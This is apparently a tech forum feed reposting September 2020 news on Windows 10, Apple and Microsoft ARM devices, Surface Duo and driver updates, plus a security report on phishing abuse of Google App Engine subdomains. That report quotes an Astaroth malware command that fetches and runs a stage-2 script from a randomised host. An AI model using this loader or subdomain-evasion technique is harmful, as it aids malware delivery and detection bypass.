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 on: September 21, 2020, 01:43:09 PM 
Started by javajolt - Last post by javajolt

If you often use virtual desktops in Windows 10 to manage your workspaces, you might find that keeping track of windows between them can sometimes be a hassle. Luckily, Windows makes it easy to move windows between virtual desktops. Here’s how.

How to Drag and Drop Windows Between Virtual Desktops

Using your mouse or a touchscreen, you can easily drag windows between virtual desktops using the Task View sceen. To open “Task View,” click the “Task View” button on your taskbar or press Windows+Tab.

(If you don’t see a “Task View” button on the taskbar, right-click the taskbar and select “Show Task View button.”)

Using the row of virtual desktop thumbnails across the top of the the Task View screen, click the desktop that contains the window you’d like to move.

After clicking, the virtual desktop you selected will appear. Activate “Task View” again, then drag the thumbnail of the window you’d like to move onto the thumbnail of the virtual desktop you’d like to move it to.

As you move it over the destination desktop, the thumbnail will reduce in size.

Once the window thumbnail is over the virtual desktop destination thumbnail, release the mouse button, and the window will be moved to that desktop.

After that, you’re free to switch to whichever virtual desktop you like by clicking it or simply pressing “Escape” to close Task View.

How to Move Windows Between Virtual Desktops by Right-Clicking

You can also move windows between virtual desktops by using a pop-up menu that appears in Task View. First, open “Task View” and focus on the desktop that includes the window you’d like to move. In Task View, right-click on the window’s thumbnail and select “Move To,” then pick the destination desktop from the list.

After that, the window will appear on the virtual desktop you selected. You can also make the window appear on all virtual desktops at once if you right click on its thumbnail in Task View and select “Show this window on all desktops.” Very handy!

Unfortunately, Windows 10 does not include a keyboard shortcut for moving windows between virtual desktops.


 on: September 21, 2020, 01:26:11 PM 
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Now that Apple has announced the new iPads and Apple Watches, the focus will turn to the delayed iPhone 12 family and the first ARM-powered MacBook. In a topsy-turvy world, the former should stand out in a pandemic disrupted market. The latter should bring Apple’s ability to innovate back to the laptop and desktop market.

Yet for all the talk of Apple’s innovation and cutting-edge technology, Microsoft is already there.

Detail of a person using an Apple MacBook Pro laptop computer in a cafe, taken on November 18, 2016

This new battleground will focus on laptops and tablets, and specifically on the move towards ARM-based processors. Tim Cook’s Apple has stated that the company is ‘all-in’ with this move, and it should be completed within two years. Although the Intel machines will continue to be supported (and the strength of that support is yet to be confirmed, although the historical precedent suggests the window will be about three and four years).

The first ARM-powered MacOS machine for the public is expected to be launched in October this year. Analysts are pointing towards the adoption of the MacBook Pro name for one of the machines that will use the increased computational power of ARM, and the return of the titular MacBook for a smaller and lighter laptop that takes advantages of the lower thermal and battery requirements of ARM chips.

Microsoft is already there.

Last October saw the release of the Surface Pro X. Following the same design as the Surface Pro 7, launched at the same event, the Pro X stands out because of the CPU; Microsoft’s SQ1, which is a variant of Qualcomm’s 8CX ARM-powered system on chip.

The Surface Pro X has given Microsoft a first-move lead in retail of around 12 months. Microsoft will have gathered a significant amount of data on how the devices are used, as well as the feedback from users in a live environment rather than a supervised marketing research session.

It also raises the visibility of the Windows 10 on ARM platform to Microsoft’s hardware partners. The software development that can be seen on the Pro X will be development that can apply to the whole Windows ARM project and will benefit the computer manufactures that will sell ARM-powered machines in the future.

As the number of ARM machines available grows, so will the Windows 10 on ARM platform. Assuming Microsoft can kick the virtuous cycle into gear then the platform will gather its own momentum. With the likes of Lenovo, HP and Acer involved, and a number of devices announced at the recent IFA for the 8CX Gen 2, the pace is increasing.

Curiously for Microsoft, Apple’s entry into the market with its own implementation of ARM for MacOS legitimizes the space for both of the behemoths. Given the lead time of development, this isn’t a ‘Keeping up with the competition’ scenario, this is the two major players recognizing the way forward.

It also shows up the different approaches of the company. Apple is keeping quiet about its Arm project as much as possible. Developers have test machines - presumably under heavy NDA - and while hardware availability has been noted, exact details are not forthcoming.

In essence, Apple’s ARM will reach the market in what it hopes will be a fully formed offering, with issues such as backwards app compatibility addressed, full support throughout the ecosystem of first- and third-party apps, and software stability all addressed and solved. It help that Apple’s ecosystem is tightly controlled, and many awkward legacy apps were cut loose from MacOS last year with 32-bit app support dropped from MacOS Catalina.

Microsoft has taken another approach, with more of the work done in public. The Surface Pro X proved that Windows 10 on ARM as a concept was the way forward, but there were issues out on the cutting edge. The Pro X supported any app downloaded or purchased through Microsoft’s App Store and legacy 32-bit apps from Windows on Intel would run, but the more advanced 64-bit Intel apps were incompatible with the system.

That 64-bit support is expected to arrive alongside the preemptively named Surface Pro X2 in October… the same time as the ARM MacBook and potentially the ARM MacBook Pro.

The Microsoft Corp. Surface Pro X hybrid tablet and laptop computer is displayed during a product product event in
New York, U.S., on Wednesday, Oct. 2, 2019. Microsoft unveiled a dual-screen, foldable phone that will run on
Google's Android operating system, jumping back into a market it exited years ago. Photographer:
Mark Kauzlarich/Bloomberg © 2019


The geekerati wait to measure up both the individual machines from Apple and Microsoft, and the depth and reach of their respective ARM-powered ecosystems over the next year. With two competitors pushing each other forward, with two similar but distinct visions that can play off each other, and the start of a new cycle of innovation under way, which vision will win out?


 on: September 21, 2020, 12:56:59 PM 
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Earlier this year, Microsoft started rolling out forced Windows Update titled “KB4559309” and it alleged killed system performance for many users. This update was reportedly pushed out to a wide range of devices to replace the old Edge browser with the new Chromium-based one.

The problem is not with the Chromium Edge, which is a fantastic Chrome alternative, but something in the Windows 10 KB4559309 update process was reportedly hampering the performance of some devices, specifically the startup time.

Another problem with KB4559309 is that the update is pushed out automatically, so you cannot opt-out unless you use advanced tools designed for business customers. If you’ve been forced to install the patch, there’s also no way to uninstall it because the option is greyed out.

“Windows taking a long time to boot up after installing the KB4559309 update, and sign-in is also getting very slow after that,” one user noted in Feedback Hub and Microsoft said it has received the feedback. In a community thread, Microsoft also confirmed that they’re investigating the reports.

Fortunately, after several users flagged the problem, Microsoft says it has replaced the update with another update “KB4576754” and it appears to install without any problems for users.

“This update replaces previously released updates KB4541301, KB4541302 and KB4559309,” the company noted in support documentation.

Windows 10 KB4576754 was issued on August 31 to replace the botched KB4559309 and we haven’t seen anyone reporting performance issues after applying the patch.

Chances are you won’t face any performance issues or system slowdown after this patched update installs onto your machine.

KB4576754, which is also installed automatically, enables the new Chromium Edge on Windows 10 and the new browser is a huge improvement over the previous one.

If you’re still worried about the potential performance issues in the latest update, you should manually download and install the Chromium-based Edge browser. When the Chromium-based Edge is installed, Windows Update will automatically block the update from installing onto your device.


 on: September 21, 2020, 12:50:21 PM 
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Amid the trade ban that sees Giant Chinese tech company Huawei struggling in manufacturing certain products, a silver lining is seen as AMD is rumored to be officially on board to provide the company of essential hardware.

For reasons yet to be disclosed, AMD is said to have secured a license to become a supplier for Huawei—a statement which is also confirmed by AMD’s vice president, Forrest Norrod. Surprisingly, the exec also claims that US’ existing trade ban on Huawei will not have any “significant impact” on AMD’s business.

Meanwhile, as fears for Huawei’s products soon becoming “extinct,” a trend is ongoing which sees pricing on a rise by as much as 40 percent in comparison to January this year. On average, consumers are seeing an increase by around $60 to $74 for Huawei products, such as the Huawei Mate 30 RS Porsche Design which got a staggering price increase of $443.7.


 on: September 20, 2020, 10:37:11 PM 
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Windows 10 October 2020 Update will begin rolling out to consumers sometime next month, but you can already install the update if you’re willing to join the Windows Insider program.

While the feature update is expected to begin rolling out next month, Microsoft won’t begin force-feeding 20H2 to users until next year, when it begins upgrading machines reaching the end of support, such as version 1903 or version 1909.

On consumer PCs, you’ll be able to download and install the update via Update & Security > Windows Update. In the update page, you need to click on ‘Download and install’ button, and the update won’t be forced on your device unless you select the option.

The update process is still same, but there’s one major change – October 2020 Update will install via the “enablement package,” which will transform May 2020 Update into October’s feature update 20H2.

The enablement package weighs less than 100MB, as in megabytes. This certainly makes sense because Windows 10 version 20H2 is nearly feature-free and it appears to be Microsoft’s another attempt at the old-school service packs, which include collections of fixes and improvements made to the existing OS.

We wouldn’t be surprised if the update size is reduced further after the forthcoming cumulative update.

That’s because cumulative updates for Windows 10 version 2004 are supposed to include October 2020 Update’s dormant features. In other words, your device running Windows 10 version 2004 will be transformed automatically into 20H2 if the tiny enablement package is detected.

The enablement package size could go beyond 400MB if you don’t have the latest cumulative update applied to the May 2020 Update. This is again because the files needed for Windows 10’s October Update are included in the cumulative updates, which was pushed out over a month ago.

If you haven’t installed May 2020 Update (version 2004) yet, you’ll have to face a download of around 4GB to 4.7GB, which is the common size for Windows upgrades.

It’s also worth noting that this new enablement technology, which acts as an “update switch”, is still a new project, and there’s no formal plan to deliver upgrades next year in this way.

In fact, we’ve already reported that Microsoft is internally mulling a plan to deliver only one major update per year.


 on: September 20, 2020, 10:07:07 PM 
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The Microsoft Surface Duo, the dual-screen revolutionary hardware unveiled in 2019, is now shipping in the United States. Microsoft is charging $1,399 for the Surface Duo with 128GB of storage. If you want 256GB of storage, you need to pay $1,499.

The device uses last year’s Qualcomm Snapdragon 855 processor, 6GB of RAM, single 11-megapixel camera, and relatively small 3577mAh battery. It’s pocketable at 145.2mm x 93.3mm x 9.9mm (thinner than the Galaxy Note 20 Ultra) and it’s more like a tablet than a phone if you use it with both screens open.

Surface Duo ships with the heavily skinned and specified version of Android rather than Windows (Phone) and it also comes with Play Store.

While there’s no app gap problem and all your Android apps should just work, some apps will work best only if they’re optimized for the dual screens and fully leveraging hinge-based form factor.

Microsoft also made the rather surprising revelation that it worked closely with Google to optimize the platform for a dual-screen future. That includes not just the Android 10/11 but also apps like Google Play Music, Maps, and Chrome.

Based on the reports from users across social media platforms, here’s a list of apps optimized for the dual-screen.

Surface Duo optimized apps

   ■ Microsoft Edge.

   ■ Microsoft To-Do.

   ■ Microsoft News.

   ■ OneDrive.

   ■ Outlook.

   ■ Office.

   ■ OneNote.

   ■ Solitaire Collection.

   ■ Google Chrome.

   ■ Google Play Books.

   ■ Amazon Kindle

   ■ Adobe Acrobat Reader.

The Surface Slim Pen, which seems important to the dual-screen experience, is also optimized to work with these apps.

A phone like the Surface Duo requires support for dual-screen that Android hasn’t supported before. As a result, the list of optimized apps doesn’t cover the majority of the apps that users use daily, but the good news is that more apps developers are planning to update their apps with dual-screen support.

Thanks to that close collaboration with Google, Microsoft should be able to convince more people to build apps for its Surface Duo and future dual-screen hardware.


 on: September 20, 2020, 09:34:08 PM 
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Microsoft’s new Surface Duo comes with an impossibly thin two high-resolution touchscreens that work together to help people complete complex tasks faster with less cognitive effort. Microsoft recently published a new video to highlight some unique features of the Surface Duo device, check it out above. Microsoft invented new innovative technologies for Surface Duo, you can read about it here.

Surface innovation comes to a dual-screen mobile device, featuring the best of Microsoft 365, every Android app in the Google Play store, phone calls, and more.

Surface innovation comes to a dual-screen mobile device, featuring the best of Microsoft 365, every Android app in the Google Play store, phone calls, and more.

You can now order the new Surface Duo here from Microsoft Store starting at $1399.


 on: September 20, 2020, 05:42:13 PM 
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A newly discovered technique by a researcher shows how Google's App Engine domains can be abused to deliver phishing and malware while remaining undetected by leading enterprise security products.

Google App Engine is a cloud-based service platform for developing and hosting web apps on Google's servers.

While reports of phishing campaigns leveraging enterprise cloud domains are nothing new, what makes Google App Engine infrastructure risky in how the subdomains get generated and paths are routed.

Practically unlimited subdomains for one app

Typically scammers use cloud services to create a malicious app that gets assigned a subdomain. They then host phishing pages there. Or they may use the app as a command-and-control (C2) server to deliver malware payload.

But the URL structures are usually generated in a manner that makes them easy to monitor and block using enterprise security products, should there be a need.

For example, a malicious app hosted on Microsoft Azure services may have a URL structure like:

Therefore, a cybersecurity professional could block traffic to and from this particular app by simply blocking requests to and from this subdomain. This wouldn't prevent communication with the rest of the Microsoft Azure apps that use other subdomains.

It gets a bit more complicated, however, in the case of Google App Engine.

Security researcher Marcel Afrahim demonstrated an intended design of Google App Engine's subdomain generator, which can be abused to use the app infrastructure for malicious purposes, all while remaining undetected.

Google's domain, which hosts apps, has the following URL structure:


A subdomain, in this case, does not only represent an app, it represents an app's version, the service name, project ID, and region ID fields.

But the most important point to note here is, if any of those fields are incorrect, Google App Engine won't show a 404 Not Found page, but instead show the app's "default" page (a concept referred to as soft routing).

"Requests are received by any version that is configured for traffic in the targeted service. If the service that you are targeting does not exist, the request gets Soft Routed," states Afrahim, adding:

"If a request matches the portion of the hostname, but includes a service, version, or instance name that does not exist, then the request is routed to the default service, which is essentially your default hostname of the app."

Essentially, this means there are a lot of permutations of subdomains to get to the attacker's malicious app. As long as every subdomain has a valid "project_ID" field, invalid variations of other fields can be used at the attacker's discretion to generate a long list of subdomains, which all lead to the same app.

For example, as shown by Afrahim, both URLs below - which look drastically different, represent the same app hosted on Google App Engine.


"Verified by Google Trust Services" means trusted by everyone

The fact that a single malicious app is now represented by multiple permutations of its subdomains makes it hard for sysadmins and security professionals to block malicious activity.

But further, to a technologically unsavvy user, all of these subdomains would appear to be a "secure site." After all, the domain and all its subdomains come with the seal of "Google Trust Services" in their SSL certificates.

Google App Engine sites showing valid SSL certificate with "Verified by: Google Trust Services" text source: Afrahim

Even further, most enterprise security solutions such as Symantec WebPulse web filter automatically allow traffic to trusted category sites. And Google's domain, due to its reputation and legitimate corporate use cases, earns an "Office/Business Applications" tag, skipping the scrutiny of web proxies.

Automatically trusted by most enterprise security solutions

On top, a large number of subdomain variations renders the blocking approach based on Indicators of Compromise (IOCs) useless.

A screenshot of a test app created by Afrahim along with a detailed "how-to" demonstrates this behavior in action.

In the past, Cloudflare domain generation had a similar design flaw that Astaroth malware would exploit via the following command wheen fetching stage 2 payload:

%ComSpec% /c “echo GetObject(“script:hxxps://xsw%RANDOM%nnccccmd95c22[.]cloudflareworkers[.]com/.edgeworker-fiddle-init-preview/”)” > %temp%\Lqncxmm:vbvvjjh.js && start wscript.exe %temp%\Lqncxmm:vbvvjjh.js”

This would essentially launch a Windows command prompt and put a random number replacing %RANDOM% making the payload URL truly dynamic.  

"And now you have a script that downloads the payload from different URL hostnames each time is run and would render the network IOC of such hypothetical sample absolutely useless. The solutions that rely on single run on a sandbox to obtain automated IOC would therefore get a new Network IOC and potentially new file IOC if script is modified just a bit," said the researcher.

Delivering malware via Google App Engine subdomain variations while bypassing IOC blocks

Actively exploited for phishing attacks

Security engineer and pentester Yusuke Osumi tweeted last week how a Microsoft phishing page was hosted on the subdomain was exploiting the design flaw Afrahim has detailed.

Osumi additionally compiled a list of over 2,000 subdomains generated dynamically by the phishing app—all of them representing the same phishing page.

Active exploitation of Google App Engine subdomains in phishing attacks source: Twitter

This recent example has shifted the focus of discussion from how Google App Engine's flaw can be potentially exploited to active phishing campaigns leveraging the design flaw in the wild.

"Use a Google Drive/Service phishing kit on Google’s App Engine and normal user would not just realize it is not Google which is asking for credentials," concluded Afrahim in his blog post.


 on: September 20, 2020, 04:12:26 PM 
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Microsoft has acknowledged that some of Windows 10’s most recent updates are causing new problems for some PCs rather than resolving the underlying bugs.

According to the company, Windows 10 KB4571756, which is supposed to be a cumulative update with security patches, is instead breaking down Linux support. In addition, Microsoft has quietly acknowledged another bug that creates ‘optional features removal’ warning message.

First off, let’s talk about Windows 10 KB4571756. This cumulative update was published on September 8 with SSD defragger fixes and other security improvements, but the update is causing rather serious problems for some PCs.

According to user reports, Windows 10’s September update could break down Start Menu and prevent some users from booting to the desktop. Some have also reported Blue Screen of Death messages after applying the patch, which could be related to a new compatibility issue acknowledged by Microsoft.

In addition, it has been widely reported that this update breaks down Windows Subsystem for Linux. Fortunately, Microsoft said they’re aware of the issues and the company has finally identified the root cause of the issue.

Microsoft is planning to ship the fix with the next cumulative update, which is expected to arrive later this month or next month. If you’ve issues after the update, you can uninstall KB4571756 by heading to Settings > Update & Security > Update history > Uninstall updates, and then unblock access to Windows Subsystem for Linux.

Microsoft admits ‘compatibility error’ warning

In another support documentation, Microsoft has quietly confirmed that you might get a compatibility error when installing Windows 10 feature updates if the local system accounts are blocked in a firewall from accessing the internet via HTTP.

Microsoft noted that this issue is caused by Windows 10’s Setup Dynamic Update (DU) being unable to download required packages for the feature updates.

Microsoft confirmed that they’re working on a proper fix and these issues will be resolved in an upcoming cumulative update.


 on: September 20, 2020, 04:08:16 PM 
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Intel, Nvidia and AMD have published their September 2020 display drivers for Windows 10. If you’ve Windows 10 version 1809 or newer, you should be able to update your display drivers and grab the fixes or support for new games.

Intel’s “unlocked” display driver for Windows 10 has been updated to version number Despite a significant version number jump, this new display driver comes with bug fixes and support for two titles only.

With DCH driver version, Intel is adding support for two new titles – eFootball Pro Evolution Soccer 2021 and Halo 3: ODST. If you have a device with Intel Iris Plus Graphics or newer, you should be able to play these two titles on your device after applying the update.

Intel DCH driver update also fixes an issue where some of you may experience graphics anomalies when playing Total War Three Kingdoms.

As always, if you’re interested, you can check for updates using Intel’s driver & support tool. Also, if you use Intel’s Graphics Command app, a new update is available via the Microsoft Store.

Nvidia 456.38 WHQL

Nvidia has released their own updated graphics drivers to add support for RTX 30 series, Mafia: DE and Halo 3: ODST.

Nvidia 456.38 update will also fix issues with Windows 10’s hardware-accelerated GPU scheduling, which should improve the frame rate when the feature is in use. Another bug has been fixed where Call of Duty: Modern Warfare may see a drop in frame rate when you turn on ray tracing.

This release also comes with fixes for Detroit: Become Human, Forza Horizon 4, Horizon Zero Dawn The Complete Edition, Minecraft Java Edition, and World of Warcraft.

Nvidia has also fixed video playback issues when hardware-accelerated GPU scheduling is enabled.

As always, you can grab Nvidia 456.38 WHQL driver from GeForce Experience app.

AMD Radeon 20.9.1

The first AMD GPU driver release of September advances Radeon Software Adrenalin 2020 Edition to version 20.9.1 suite and is solely focused on bug fixes.

For example, AMD says it has fixed an issue where you may experience a black screen, system crash or TDR when you switch between tasks, use third-party overlay, or run video content/web browsers on the second display.

AMD has also shipped fixes for Project CARS 3, CS:GO, Borderlands, Error 1603, Error 195, Radeon FreeSync (black screen bug), and other bugs.

You’ll be able to get the Radeon Software Adrenalin 2020 Edition 20.9.1 driver via the Radeon Software app.


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